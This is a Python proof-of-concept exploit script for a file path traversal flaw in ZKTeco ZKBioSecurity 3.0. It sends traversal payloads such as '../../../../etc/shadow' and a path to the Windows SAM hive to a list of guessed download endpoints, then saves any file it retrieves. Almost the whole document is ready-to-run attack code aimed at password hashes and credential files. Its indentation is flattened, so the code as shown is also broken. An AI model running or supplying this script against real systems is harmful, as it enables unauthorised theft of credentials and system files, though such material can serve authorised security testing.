#!/usr/bin/env python3
"""
CVE-2016-20029 - ZKTeco ZKBioSecurity 3.0 File Path Manipulation PoC
Author: Security Researcher
Reference: https://www.exploit-db.com/exploits/40326/
"""
import requests
import sys
TARGET_HOST = "http://target-zkbiosecurity.com"
def test_file_path_traversal(target):
"""Test for file path traversal vulnerability"""
# Common sensitive files to test
test_files = [
# Linux targets
("../../../../etc/passwd", "passwd_file"),
("../../../../etc/shadow", "shadow_file"),
("../../../../../../etc/passwd", "passwd_deep"),
# Windows targets
("..\..\..\..\windows\system32\config\sam", "windows_sam"),
("..\..\..\..\windows\win.ini", "windows_ini"),
# Application specific files
("../../config/database.conf", "db_config"),
("../../app/config.xml", "app_config"),
("../../../../ZKBioSecurity/config/credential.dat", "zk_creds"),
]
# Common vulnerable endpoints
endpoints = [
"/download",
"/file/download",
"/resource/get",
"/log/view",
"/report/export",
"/api/file",
]
print(f"[*] Testing {target} for CVE-2016-20029")
print(f"[*] Target: {target}")
print("=" * 60)
for endpoint in endpoints:
for file_path, description in test_files:
try:
# Test with 'file' parameter
url = f"{target}{endpoint}"
params = {"file": file_path}
print(f"\n[~] Testing: {endpoint} with {description}")
print(f"[~] Parameter: file={file_path}")
response = requests.get(url, params=params, timeout=10, verify=False)
if response.status_code == 200:
content_type = response.headers.get('Content-Type', '')
if 'text' in content_type or 'application' in content_type:
if len(response.content) > 0:
print(f"[!] VULNERABLE! Received {len(response.content)} bytes")
print(f"[+] Content preview: {response.text[:200]}...")
# Save to file
filename = f"poc_output_{description}.txt"
with open(filename, 'w') as f:
f.write(response.text)
print(f"[+] Saved response to {filename}")
return True
elif response.status_code == 403:
print(f"[-] Access denied (403)")
else:
print(f"[-] Status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Error: {e}")
print("\n[*] Testing complete")
return False
if __name__ == "__main__":
if len(sys.argv) > 1:
target = sys.argv[1]
else:
target = TARGET_HOST
print(f"[*] No target specified, using default: {target}")
test_file_path_traversal(target)